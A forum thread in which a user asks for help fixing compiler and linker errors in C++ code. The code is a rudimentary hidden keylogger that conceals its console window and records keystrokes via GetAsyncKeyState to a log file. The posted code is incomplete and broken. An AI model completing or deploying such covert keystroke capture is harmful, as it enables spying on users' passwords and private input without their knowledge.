Jump to content

C++ Compiler Errors


Recommended Posts

Hey I'm having a few problems with my compiler.

I'm using Borland C++BuilderX, and when I compile the following code, I get the errors below:

#include <windows.h>
#include <fstream.h>

using namespace std;

ofstream log;

int main(){

ShowWindow(GetConsoleWindow(), SW_HIDE); //hide console

log.open("log.dat", ios::app); //open log file - append

while(1){ //infinite loop

          for(int keyCode=0;keyCode<255;keyCode++){ //loop through key codes

                  if(GetAsyncKeyState(keyCode)==-32767){ //get key code

                       if(keyCode == 65){
                              log<< "A";
                       else if(keyCode == 66){
                              log<< "B";
                       else if(keyCode == 67){
                              log<< "C";
return 0;


When I compile with Dev-C++ 4 I get errors with "ShowWindow(GetConsoleWindow(), SW_HIDE);":


Other then that it works fine in Dev-C++.

I moved "ofstream log;" into the main function (Borland version), but as soon as It had compiled, it crashed with the "Program Not Responding" error message.

I've done tonnes of Googling and found nothing helpful.

I'd really appreciate any help at all, thanks in advance.

Link to comment
Share on other sites

Thanks so much for your help!


Linking with CW32i.LIB resolved "Error: Unresolved external'___CPPdebugHook' referenced from.......", but I'm still getting "Error: Unresolved external'__System__GetTls' referenced from.....". I tried every Library that I got with the Compiler, and have done an excessive amount of googling (even resorted to Yahoo  :-() to no avail.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
  • Create New...